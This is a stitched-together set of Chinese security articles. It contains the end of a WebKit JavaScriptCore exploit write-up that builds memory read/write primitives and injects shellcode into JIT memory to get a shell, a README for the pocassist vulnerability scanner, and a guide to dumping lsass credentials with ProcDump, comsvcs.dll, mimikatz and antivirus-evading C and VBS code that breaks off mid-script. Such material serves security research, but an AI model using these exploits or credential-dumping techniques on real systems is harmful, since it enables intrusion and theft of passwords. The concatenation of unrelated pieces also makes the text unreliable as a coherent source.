0x108ab02c0: 0x00000000badbeef0 0x00000000badbeef0
可以看到属性的值是被编码过的，这也提醒我们伪造数据的时候要减去0x10000000000。如果我们此时再增加属性，对象就会申请butterfly来存储数据，多余的属性值就会存储到butterfly中。
现在我们就可以开始伪造对象了，如果对JavaScript对象的结构还不是很了解的，推荐阅读：[Attacking JavaScript
Engines](http://phrack.org/papers/attacking_javascript_engines.html)。
### Fake Object
伪造对象需要先伪造一个header，但是header中包含一个structureID，这个值不好预测而且必须要一个有效的ID才可以。这个时候就可以使用spray技术提前创建大量的对象。structureID虽然不好预测，但也不是随机的值，而是随着对象数量的增加而变大的。所以我们提前创建大量的对象，并选取一个中间的值作为structureID，大概率就是有效的。
var spray = []
for (var i = 0; i < 1000; ++i) {
var obj = [1.1];
obj.a = 2.2;
obj['p'+i] = 3.3;
spray.push(obj);
}
>>> describe(spray[0])
Object: 0x108ab4390 with butterfly 0x8000dc058 (Structure 0x108a70f50:[Array, {a:100, p0:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 322
>>> describe(spray[999])
Object: 0x108a14330 with butterfly 0x8000c3e08 (Structure 0x108a10e70:[Array, {a:100, p999:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 1321
>>>
伪造的时候选取一个中间的值就可以了，其实这种方法还不是太稳，比较稳的做法是使用`instanceof`，不过只是练习就无所谓啦。
再看下spray出来的obj的header：
(lldb) x/2gx 0x108ab4390
0x108ab4390: 0x0108210700000142 0x00000008000dc058
header的数据就是`0x0108210700000142`，低四字节就是structrueID，高四字节就是flags，可以直接使用，可以认为这个flags表示的就是`ArrayWithDouble`（其实还包含了其他的信息）。伪造对象如下：
u32[0] = 0x200;
u32[1] = 0x01082107 - 0x10000;
var header_arrayDouble = f64[0];
victim = {
fake_header:header_arrayDouble,
};
victim_addr = f2i(addrof(victim))
hax = fakeobj(i2f(victim_addr+0x10))
>>> describe(hax)
Object: 0x1089c83b0 with butterfly 0x0 (Structure 0x10894a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x1089c80a0, Leaf]), StructureID: 512
>>>
伪造对象成功之后，就可以进行进一步的操作了，现在可以通过`victim`控制`hax`的butterfly指向任意地址。但是现在有个问题，这个butterfly、必须是个合法的指针，然而我们是不可以通过正常方法往对象的属性写我们指定的指针的，唯一写指针进去的方法就是直接赋值一个对象。但如果对象是一个`ArrayWithDouble`，其实我们就可以通过写double的形式写一个double进去并伪造成指针，于是我们可以做以下的操作：
controller = spray[500];
victim = {
fake_header:header_arrayDouble,
fake_butterfly:controller
};
victim_addr = f2i(addrof(victim));
hax = fakeobj(i2f(victim_addr+0x10));
hax[1] = 5.2900040263529e-310;
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512
#查看hax的butterfly，其实也就是controller的内存
(lldb) x/2gx 0x108ab62d0
0x108ab62d0: 0x0108210700000337 0x0000616161616161
(lldb)
这样我们就间接地控制了`controller`的butterfly，而且可以指向任意地址。然后通过访问`controller`的属性，我们其实已经可以实现任意地址读写了。比如访问`controller.a`其实就是读取controller的butterfly偏移为-0x10的值。现在来尝试一下读`hax`的内存：
>>> hax[1] = i2f(f2i(addrof(hax))+0x10)
2.193894026e-314
>>> hex(f2i(controller.a))
0x107210700000200
>>> hax[1] = i2f(f2i(addrof(hax))+0x10+8)
2.19389403e-314
>>> hex(f2i(controller.a))
0x7ff8000000000000
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512
(lldb) x/2gx 0x108ac83b0
0x108ac83b0: 0x0108210700000200 0x0000000108ab62d0
(lldb)
可以看到虽然可以读数据了，但是读的数据并不准确，首先第一个读出来的double是解码的，这个不难理解。奇怪的是第二个，`hax`的butterfly明明被指向了`controller`，这是一个合法的对象，应该是读不出来数据的，但是这里居然也能读，虽然数据是错的。既然这个是对象，其实我们完全可以用前面写好的`addrof()`来读：
>>> hex(f2i(addrof(controller.a)))
0x108ab62d0
这个读出来就是准确的，用同样的方法去读double的话其实还是会有解码的情况：
>>> hex(f2i(addrof(controller.a)))
0x107210700000200
造成这种情况的原因主要是我前面构造的`addrof()`，它返回的值肯定是JSValue解码后的结果，所以我们可以利用现在掌握的任意读写能力重新构造更稳定可靠的`addrof()`和`fakeobj()`，构造如下：
var unboxed = [2.2];
#防止unboxed成为CopyOnWriteArrayWithDouble，多赋值一次可确保ArrayWithDouble。
unboxed[0] = 3.3;
#boxed为ArrayWithContigous
var boxed = [{}];
#使boxed和unboxed的butterfly指向同一片内存，类似ArrayBuffer，我们就可以用不同的形式表示同一块内存。
hax[1] = unboxed;
var shared = controller[1];
hax[1] = boxed;
controller[1] = shared;
#由于赋值过对象，hax的类型会变成ArrayWithContigous，重新设定类型方便之后赋值。
victim.fake_header = header_arrayDouble;
var stage2 = {
addrof : function (obj){
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj : function (addr){
unboxed[0] = i2f(addr);
return boxed[0];
},
read64 : function (addr){
hax[1] = i2f(addr+0x10);
return stage2.addrof(controller.a);
},
};
我顺便写了负责任意读的方法`read64()`，可以试试效果：
>>> stage2.read64(stage2.addrof(hax))
74345707800101380
>>> hex(74345707800101380)
0x108210700000200
>>> stage2.read64(stage2.addrof(hax)+8)
4440416976
>>> hex(4440416976)
0x108ab62d0
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p188:101}, ArrayWithDouble, Proto:0x108ac80a0]), StructureID: 512
(lldb) x/2gx 0x108ac83b0
0x108ac83b0: 0x0108210700000200 0x0000000108ab62d0
(lldb)
这就很稳了，但其实有时候读double还不是很准，我猜测是因为精度问题，但其实问题不大。现在尝试构造一个任意写的方法：
write64 : function (addr, content){
hax[1] = i2f(addr+0x10);
controller.a = this.fakeobj(content);
}
试试效果：
var stage2 = {
addrof : function (obj){
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj : function (addr){
unboxed[0] = i2f(addr);
return boxed[0];
},
read64 : function (addr){
hax[1] = i2f(addr+0x10);
return this.addrof(controller.a);
},
write64 : function (addr, content){
hax[1] = i2f(addr+0x10);
controller.a = this.fakeobj(content);
},
test : function(){
testObj = {};
testObj[0] = 1.1;
obj_addr = this.addrof(testObj)
value = 0x1122334455667788;
this.write64(obj_addr+8, value);
},
};
stage2.test();
>>> describe(testObj)
Object: 0x1082b0100 with butterfly 0x1122334455667800 (Structure 0x10820d3b0:[Object, {}, NonArrayWithDouble, Proto:0x1082b4000, Leaf]), StructureID: 1333
>>>
发现写进去的数据不完整，这是因为JavaScript不能表示那么大的整型，所以我选择一次写四个字节。但是测试的时候还是出了错：
test : function(){
testObj = {};
testObj[0] = 1.1;
obj_addr = this.addrof(testObj);
value = 0x11223344;
this.write64(obj_addr+8, value);
},
(lldb) run -i ../bug_191731/test/poc.js
Process 42272 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x11223ed8)
frame #0: 0x000000010000c145 jsc`JSC::MarkedBlock::vm(this=0x0000000011220000) const at MarkedBlock.h:472:21
469
470 inline VM* MarkedBlock::vm() const
471 {
-> 472 return footer().m_vm;
473 }
474
475 inline WeakSet& MarkedBlock::Handle::weakSet()
Target 0: (jsc) stopped.
(lldb)
我猜测是因为gc的检查导致的问题，所以我写了个简单的`passGC()`：
passGC : function (){
var passObj = {};
passObj[0] = 1.1;
this.write64(this.addrof(passObj+8), 0x7);
},
再次运行：
test : function(){
testObj = {};
testObj[0] = 1.1;
obj_addr = this.addrof(testObj);
this.passGC();
value = 0x11223344;
this.write64(obj_addr+8, value);
},
(lldb) run -i ../bug_191731/test/poc.js
>>> describe(testObj)
Object: 0x108ab0100 with butterfly 0x11223344 (Structure 0x108a0d420:[Object, {}, NonArrayWithDouble, Proto:0x108ab4000, Leaf]), StructureID: 1334
>>>
看起来效果还不错，解决了写的问题，之后就需要考虑下写哪里的问题了，因为JIT会在内存中申请RWX的内存，所以可以构造一个JIT编译的function出来，然后找到代码的位置，将shellcode写进去，最后执行function就可以了。构造JIT
Function：
getJITFunction : function (){
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
},
查看进程的内存访问权限，可以在另一个终端输入`vmmap [pid]`：
JS JIT generated code 00004e12a4201000-00004e12e4201000 [ 1.0G 24K 24K 32K] rwx/rwx SM=PRV
可以看到JIT的内存访问权限是RWX。
构造好了函数之后，可以通过任意读得到这块内存的地址：
getRWXMem: function(){
shellcodeFunc = this.getJITFunction()
target_addr = this.read64(this.addrof(shellcodeFunc)+8*3)
target_addr = this.read64(target_addr + 8*3)
target_addr = this.read64(target_addr + 8*4)
return [shellcodeFunc, target_addr]
},
>>> hex(shellcodeObj[1])
0x33696e808d19
(lldb) x/10i 0x33696e808d19
0x33696e808d19: 49 bb 71 e7 ff 08 01 00 00 00 movabsq $0x108ffe771, %r11 ; imm = 0x108FFE771
0x33696e808d23: 41 c6 03 00 movb $0x0, (%r11)
0x33696e808d27: 55 pushq %rbp
0x33696e808d28: 48 89 e5 movq %rsp, %rbp
0x33696e808d2b: 49 bb 60 e7 ff 08 01 00 00 00 movabsq $0x108ffe760, %r11 ; imm = 0x108FFE760
0x33696e808d35: 4c 89 5d 10 movq %r11, 0x10(%rbp)
0x33696e808d39: 8b 75 20 movl 0x20(%rbp), %esi
0x33696e808d3c: 83 fe 02 cmpl $0x2, %esi
0x33696e808d3f: 0f 83 8d f8 ff ff jae 0x33696e8085d2
0x33696e808d45: 48 89 ef movq %rbp, %rdi
(lldb)
看汇编差不多就知道是构造出来的target函数了。构造一个写shellcode的函数：
injectShellcode : function (addr, shellcode){
var theAddr = addr;
this.passGC();
for(var i=0, len=shellcode.length; i < len; i++){
this.write64(target_addr+i, shellcode[i].charCodeAt());
}
},
shellcode = "x48x31xf6x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x48x89xe7x48x31xd2x48x31xc0xb0x02x48xc1xc8x28xb0x3bx0fx05";
this.injectShellcode(shellcodeObj[1], shellcode);
写的时候出了问题，中间可能还会触发GC，而且是在固定位置触发，所以在中间加上`passGC()`就行了。
injectShellcode : function (addr, shellcode){
var theAddr = addr;
this.passGC();
for(var i=0, len=shellcode.length; i < len; i++){
if(i == 0x1f){
this.passGC();
}
this.write64(target_addr+i, shellcode[i].charCodeAt());
}
}
shellcodeObj = this.getRWXMem();
print(hex(shellcodeObj[1]));
shellcode = "x48x31xf6x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x48x89xe7x48x31xd2x48x31xc0xb0x02x48xc1xc8x28xb0x3bx0fx05";
this.injectShellcode(shellcodeObj[1], shellcode);
var shellcodeFunc = shellcodeObj[0];
shellcodeFunc();
直接使用jsc运行脚本，就不要lldb了：
$ ./WebKitBuild/Debug/bin/jsc -i ../bug_191731/test/exp.js
bash-3.2$ ls
CMakeLists.txt ChangeLog-2018-01-01 LayoutTests ManualTests Source WebKit.xcworkspace WebPlatformTests
ChangeLog Examples Makefile PerformanceTests Tools WebKitBuild Websites
ChangeLog-2012-05-22 JSTests Makefile.shared ReadMe.md WebDriverTests WebKitLibraries
bash-3.2$
bash-3.2$ exit
exit
##
### 0x04 Reference
[1] <https://github.com/joshua7o8v/Browser/tree/master/WebKit/bug_191731>
[2] <https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html>
[3] <https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/>
[4] <https://github.com/saelo/jscpwn> | 社区文章 |
**作者：[jweny](https://github.com/jweny)
项目地址：<https://github.com/jweny/pocassist>**
[pocassist](https://github.com/jweny/pocassist) 是一个 Go (Golang)
编写的全新的开源漏洞测试框架，实现对poc的在线编辑、管理、测试。
如果你不想撸代码，又想实现poc的逻辑，又想在线对靶机快速测试，那就使用pocassist吧。
## 0x01 特性
### 规则体系
* pocassist借鉴了xray优秀的规则体系。通过基于CEL表达式定义poc规则。
* 完全兼容xray现有规则。
* 不仅仅是xray。pocassist除了支持定义目录级漏洞poc，还支持服务器级漏洞、参数级漏洞、url级漏洞以及对页面内容检测，如果以上还不满足你的需求，还支持加载自定义脚本。
### 性能
高并发：支持批量运行poc，通过使用 `ants`实例化协程池，复用 goroutine ，节省资源，提升性能。
### 资源
小内存占用：使用内存复用机制。每个poc / 请求 / 响应 均使用`sync.Pool` 来缓存对象，减轻GC消耗。
### 易用
pocassist 为单二进制文件，无依赖，也无需安装，下载后直接使用。
## 0x02 Demo
### poc管理
poc在线编辑
poc在线运行
### 漏洞管理
每个poc可以关联配套的漏洞描述。
## 0x03 快速开始
### 下载
直接下载相应系统构建的二进制文件即可，下载时选择最新的版本。
下载地址：<https://github.com/jweny/pocassist/releases/>
### 运行
pocassist分为两种模式：
* web：提供web页面进行在线poc编辑和测试
* cli：提供批量扫描功能
如使用默认配置，可直接运行二进制文件。这里以pocassist_darwin_amd64为例：
`./pocassist_darwin_amd64 -h`
#### 全局参数
pocassist 的全局参数是启动的基础参数，webserver 和 cli 都将继承全局参数。
-h, --help 显示此帮助消息并退出
-b, --database 选择后端的数据库类型，目前支持sqlite和mysql，默认sqlite
-d, --debug 是否启用debug模式，debug模式将输出程序运行过程中的更多细节，默认false
-v, --version 显示版本并退出
#### web端
pocassist的server模块是整个项目的核心，通过web实现在线poc编辑。
-h, --help 显示此帮助消息并退出
-p, --port server的启动端口，默认1231
运行web端，默认1231端口。：
`./pocassist_darwin_amd64 server`
自定义端口，如8888：
`./pocassist_darwin_amd64 server -p 8888`
默认账号密码：`admin/admin2`
#### cli
pocassist的cli模块主要是实现批量扫描功能：提供批量加载目标、批量加载poc进行检测。
`/pocassist_darwin_amd64 cli -h`
-h, --help 显示此帮助消息并退出
# 加载目标
-u, --url 单个url (e.g. -u https://github.com)
-f, --urlFile 选择一个目标列表文件,每个url必须用行来区分 (e.g. -f "/home/user/list.txt")
-r, --urlRaw 从一个请求报文文件中加载单个测试目标
# 加载poc
-l, --loadPoc poc插件加载模式
-o, --condition poc插件加载条件
注意：
poc插件有以下四种加载模式（`loadPoc`的值）：
* single：加载单个插件
* multi：加载多个插件，多个插件用逗号隔开
* all：加载所有插件
* affects：加载某一类插件。
`condition`是与`loadPoc`配套使用的，关系如下：
* 加载模式为`single`时：`condition`为poc_id，如 `poc-db-001`
* 加载模式为`multi`时：`condition`为多个poc_id，用逗号隔开。如 `poc-db-001,poc-db-002`
* 加载模式为`all`时：无需指定condition`。
* 加载模式为`affects`时：`condition`为数据库中plugins表的affects字段的值，也就是前端的`规则类型`。如只加载目录级漏洞的poc可指定为"directory"。目前有以下值：
directory / text / url / server / script / appendparam / replaceparam
## 0x04 个性化配置
下载的release中，会包含一个`config.yaml`文件。该文件中的配置项将直接运行pocassist在运行时的状态。
注意：
* 在修改某项配置时，请务必理解该项的含义后再修改，否则可能会导致非预期的情况发生。
* 当前pocassist正在快速迭代，不保证配置文件向后兼容。请保证使用相同版本release中pocassist二进制和配置文件。
### server运行配置
pocassist的webserver使用gin开发。在配置文件中可以使用以下配置修改gin的启动模式：
serverConfig:
# 配置jwt秘钥
jwt_secret: "pocassist"
# gin的运行模式 "release" 或者 "debug"
run_mode: "release"
# 运行日志的文件名，日志将保存在二进制所在目录
log_name : "debug.log"
### HTTP配置
对于 web 扫描来说，http 协议的交互是整个过程检测过程的核心。
因此这里的配置将影响到pocassist在poc运行时进行 http 发包时的行为。
httpConfig:
# 扫描时使用的代理：格式为 IP:PORT，example: 如 burpsuite，可填写 127.0.0.1:8080
proxy: ""
# 读取 http 响应超时时间，不建议设置太小，否则可能影响到盲注的判断
http_timeout: 10
# 建立 tcp 连接的超时时间
dail_timeout: 5
# udp 超时时间
udp_timeout: 5
# 每秒最大请求数
max_qps: 100
# 单个请求最大允许的跳转次数
max_redirect: 5
headers:
# 默认 UA
user_agent: "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
注意：
* 使用代理：配置该项后漏洞扫描发送请求时将使用代理发送。目前pocassist仅支持http代理，因此配置代理时仅提供`IP:PORT`即可。
* 每秒最大请求数：默认100，这里限制发包速度。通常是为了防止被ban才会将该值调的小一些。
### 数据库配置
pocassist支持sqlite和mysql两种数据库类型。
dbConfig:
# sqlite配置：sqlite数据库文件的路径
sqlite : "pocassist.db"
# mysql配置
mysql:
host: "127.0.0.1"
password: ""
port: "3306"
user: "root"
database: "pocassist"
# 数据库连接超时时间
timeout: "3s"
### 并发配置
pocassist 基于 Go 编写。通过使用 `ants`实例化协程池，复用 goroutine
，节省资源，提升性能。所以，这里的并发也基本指代的是同时在进行漏洞扫描的 Goroutine 的数量。
通俗来讲就是同时运行的插件数量。假设一个请求在整个扫描流程中需要被 100 个插件扫描且每个插件的执行时间为1秒钟， 倘若我们设置了并发为 50，那么只需要
2s 就能执行完所有的插件；如果设置并发为 20，那么就需要 5s 才能执行完所有插件。
pluginsConfig:
# 并发量:同时运行的插件数量
parallel: 8
### 反连平台
反连平台常用于解决没有回显的漏洞探测的情况，最常见的应该属于 ssrf 和 存储型xss。
目前pocassist支持的反连平台为[ceye.io](http://ceye.io/)，配置ceye的`api_key`和`domain`即可。
# 反连平台配置: 目前使用 ceye.io
reverse:
api_key: ""
domain: ""
## 0x05 poc编辑手册
poc编辑主要分为两大块：
### 规则内容
熟悉xray规则的师傅，看到“规则内容”
这部分就很熟悉了。pocassist借鉴了xray优秀的规则体系，将xray规则中的所有的变量、方法全部实现注入到cel环境中，也就是说pocassist完全兼容xray所有规则。
因此该模块的编写可以参考xray规则的[编辑手册](https://docs.xray.cool/#/guide/poc)。
注意：
* 无论是哪种`规则类型`，`请求路径 path` 字段均必须以`/`开头。
* 如果定义了多个`请求头 headers`，填写完之后必须先点击一下保存请求头按钮，否则不会保存请求头。
### 规则类型
pocassist poc 运行时发起的请求由 原始请求 + 规则内容 共同决定。
这部分最关键的就是`规则类型`。规则类型的不同，检测过程中的最终请求uri 和 参数是完全不同的。
pocassist定义了以下几种类型。
#### 1\. directory
目录型扫描。检测目标为目录，请求头使用规则定义。
poc运行时发起的请求路径为`原始请求路径 + "/" + 规则中定义的path`。请求头使用规则定义。
例如：
输入目标为 `https://jweny.top/aaa/bbb/` ，规则中定义的path为
`/user/zs.php?do=save`，poc运行时的请求路径为`https://jweny.top/aaa/bbb/user/zs.php?do=save`
#### 2\. text
页面内容检测。检测目标为原始请求的响应，因此直接使用原始请求请求头。
poc运行时发起的请求直接为原始请求。
也就是说该类型的poc只需要定义cel表达式。（其他字段即使填写也会被忽略）
#### 3.url
url级漏洞检测。检测路径为原始请求的uri，除了路径外，均使用规则定义。
poc运行时发起的请求路径为原始请求的路径，请求头、请求方法、post body等均使用规则定义。
#### 4\. server
server级漏洞检测。检测路径为原始请求的`server:port`+规则中定义的path，其他均使用规则定义。
poc运行时发起的请求路径为`server:port`+规则path，请求头、请求方法、post body等均使用规则定义。
例如：
输入目标为 `https://jweny.top/aaa/bbb.cc.php` ，规则中定义的path为
`/user/zs.php?do=save`，poc运行时的请求路径为`https://jweny.top/user/zs.php?do=save`
#### 5\. script
脚本检测。脚本检测目前只支持开发者模式，也就是说直接使用release二进制是无法加载到引擎中的。（该缺陷正在紧急修复）。
脚本检测的poc只需要在前端配置`漏洞编号、规则类型、是否启用、漏洞描述、规则内容中的名称`即可，没有配置的话，脚本不会加载到引擎中。
前端配置完基础信息，可以在scripts目录下编写go脚本。源码中已提供两个demo，一个是检测memcached未授权，一个是检测tomcat弱口令。
func MemcachedUnauthority(args *ScriptScanArgs) (*util.ScanResult, error) {
addr := args.Host + ":11211"
payload := []byte("stats\n")
resp, err := util.TcpSend(addr, payload)
if err != nil {
return nil, err
}
if bytes.Contains(resp, []byte("STAT pid")) {
return util.VulnerableTcpOrUdpResult(addr, "",
[]string{string(payload)},
[]string{string(resp)},
),nil
}
return &util.InVulnerableResult, nil
}
func init() {
ScriptRegister("poc-go-memcached-unauth", MemcachedUnauthority)
}
说明：
* 脚本的入参必须为`*ScriptScanArgs`，返回值必须为`(*util.ScanResult, error)`。
* 脚本中必须定义`init`方法用来注册脚本，`ScriptRegister`方法的第一个值为`前端配置的规则内容中的名称`，第二个为要运行的方法名。
* 脚本编写完之后重新编译pocassist。`go build -o pocassist`
#### 6\. appendparam
参数级漏洞检测。
目前仅解析了`query string`和`post body` 中的参数（json解析已在计划中）。
参数级漏洞检测只需要在前端配置payload列表（目前前端未显示，下一版修复）。
appendparam为依次在每个参数值后面拼接payload。
例如，检测sql注入时，可定义payload为`'` / `%2527`
等，原始请求为`?aaa=bbb`，那么poc运行时会依次发两个请求，`?aaa=bbb'`和`?aaa=bbb%2327`
#### 7\. replaceparam
参数级漏洞检测。
目前仅解析了`query string`和`post body` 中的参数（json解析已在计划中）。
参数级漏洞检测只需要在前端配置payload列表（目前前端未显示，下一版修复）。
replaceparam为依次直接使用payload替换原始参数值。
例如，检测ssrf时，可定义payload定义为反连平台的domain，原始请求为`?aaa=bbb`，那么poc运行时发起的请求为`?aaa=你的reverseDomain'`
## 0x06 常见问题
1. config.yaml 加载失败：config.yaml要与pocassist二进制文件放置于同一目录中。
2. 使用mysql时，数据库初始化失败：如果后端使用mysql数据库，一定先创建数据库，导入数据，并将数据库信息更新至config.yaml后，再运行pocassist。
3. 目前前端有一个小bug，首次登陆成功之后，跳转至/vul时会显示空，需要强制刷新下。
4. `go get ./... connection error`
启用goproxy（请参阅此[文章](https://madneal.com/post/gproxy/)以进行golang升级）：
`go env -w GOPROXY=https://goproxy.cn,direct go env -w GO111MODULE=on`
1. 如果使用前后端分离部署的师傅可自行打包前端。
<https://github.com/jweny/pocassistweb>
## 0x07 todo
* 收集师傅们在使用过程中遇到的问题
* 目前cli端的批量快扫功能为临时方案，后续所有批量快扫功能web端都将支持。
* 发现潜在bug
* json参数解析
* 修复前端bug
* 初次加载时要强制刷新
* 参数级扫描：payload列表前端未提供在线编辑
## 0x08 免责声明
未经授权，使用pocassist攻击目标是非法的。pocassist仅用于安全测试目的。
为避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。
## 0x09 参考项目
* <https://github.com/chaitin/xray/tree/master/pocs>
* <https://phith0n.github.io/xray-poc-generation/>
* <https://github.com/jjf012/gopoc>
* <https://codelabs.developers.google.com/codelabs/cel-go#0>
* * * | 社区文章 |
# 转储lsass的方法原理和实现学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
`lsass.exe（Local Security Authority Subsystem
Service`进程空间中，存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限，用户便可以访问`LSASS`进程内存，从而可以导出内部数据（password），用于横向移动和权限提升。
之前用的方式还是比较局限，很容易就会被AV进行监测拦截下来，在这里总结一部分转储lsass的方法:
## 1\. 微软签名文件
* ProcDump
ProcDump是微软签名的合法二进制文件，被提供用于转储进程内存。
可以在微软文档中下载官方给出的ProcDump文件: **<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>**
我们以管理员的方式运行:
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
得到转储文件`lsass.dmp`后我们将这个内存dump文件拷贝到mimikatz同目录下，双击打开mimikatz执行情况如图：
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
就能够获取其目标机器的Hash
其实这种原理是`lsass.exe`是Windows系统的安全机制，主要用于本地安全和登陆策略，通常在我们登陆系统时输入密码后，密码便会存贮在`lsass.exe`内存中，经过wdigest和tspkg两个模块调用后，对其使用可逆的算法进行加密并存储在内存中，而Mimikatz正是通过对lsass.exe逆算获取到明文密码。
火绒确实不查，但是实战过程中也遇到Procdump被杀的情况，推测可能是签名的有效期过了，这里是使用刚下好的Procdump
360不管签名的时间戳是不是有效都会通杀`Procdump.exe`，因此这种方式还是比较局限的
**2.任务管理器**
打开任务管理器，选中目标进程，右键菜单中点击“创建转储文件”，文件保存为%temp%\<进程名>.dmp。
但是这种方式就相比更加鸡肋
**3.SQLDumper**
`SQLDumper.exe`包含在Microsoft SQL和Office中，可生成完整转储文件。
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
实战中下把生成的mdmp文件下载到本地，使用相同的操作系统打开。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
文件是安全的，火绒和360都不会认为是可以或者是恶意程序，但是在转储该`lsass.exe`进程时会出现
**3.Comsvcs.dll**
每个Windows系统中都可以找到该文件，可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。
该文件是一个白名单文件，我们主要是利用了`Comsvsc.dll`中的导出函数API`MiniDump`来实现转储`lsass.exe`的目的，注意同样是需要管理员权限:
该文件位于`C:\windows\system32\comsvcs.dll`
我们使用如下方式来调用MiniDump实现转储lsass.exe进程:
rundll32 C:\windows\system32\comsvcs.dll MiniDump "<lsass.exe pid> dump.bin full"
该行为太过于敏感，在原理上都是通过API`MiniDumpWriteDump()`获得进程的dmp文件
而某些安全产品已经开始拦截这种行为，拦截的方法如下：
**通过用户模式下的API hook，使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址**
因此我们可以不妨自己实现一个该DLL的功能，主要为`MiniDump`的功能来绕过行为检测
在`comsvcs.dll`找到了我们需要使用的`MiniDumpw`函数:
>
> 这里还需要解释为什么有时候在cmd下无法使用comsvcs.dll的MiniDump来转储内存文件，因为在dump指定进程内存文件时，需要开启`SeDebugPrivilege权限`，而在cmd中是默认没有开启该权限的
>
> 而在PS中是默认开启的选项:
>
> 因此在实战中可以考虑多使用:
>
>
> powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 508
> C:\86189\lsass.dmp full"
>
>
> 已达到转储lsass.exe的目的
而权限提升可以使用`RtlAdjustPrivilege`来进行，这个函数封装在`NtDll.dll`中
下图是找到的定义和解释:
参数的含义：
Privilege [In] Privilege index to change.
// 所需要的权限名称，可以到 MSDN 查找关于 Process Token & Privilege 内容可以查到
Enable [In] If TRUE, then enable the privilege otherwise disable.
// 如果为True 就是打开相应权限，如果为False 则是关闭相应权限
CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.
// 如果为True 则仅提升当前线程权限，否则提升整个进程的权限
Enabled [Out] Whether privilege was previously enabled or disabled.
// 输出原来相应权限的状态（打开 | 关闭）, 注意：该参数赋予空指针会出错
具体有关该函数的实现可以参考这篇文章:
[https://bbs.pediy.com/thread-76552.htm](https://)
总而言之这个函数能够做的事就是可以将进程赋予 **SeDebugPrivilege权限** 以此来Dump内存文件
因此借鉴下国外作者的原版代码:
// BypassHashdump.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#define UNICODE //使用UNICODE 对应main函数就是wmain
#include <Windows.h>
#include <stdio.h>
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline
);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t* argv[]) {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
//从comsvcs.dll中获得MiniDunpw导出函数
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
//从NTdll中获得RtlAdjustPrivilege导出函数用户提权
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
printf("Unable to resolve COMSVCS!MiniDumpW.\n");
return 0;
}
if (RtlAdjustPrivilege == NULL) {
printf("Unable to resolve RtlAdjustPrivilege.\n");
return 0;
}
// 获取SeDebugPrivilege,最后一个参数别设置为NULL
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
//dump lsass.exe
MiniDumpW(0, 0, argv[1]);
printf("OK!\n");
return 0;
}
火绒和360均未拦截，并且VT免杀率尚可:
并且火绒和360都不会检测到其行为:
作者还提到了使用VBS来实现首先开启`SeDebugPrivilege`权限，接着执行rundll32的命令
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump <process>")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name
pid = WScript.Arguments(0)
' connect with debug privilege
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
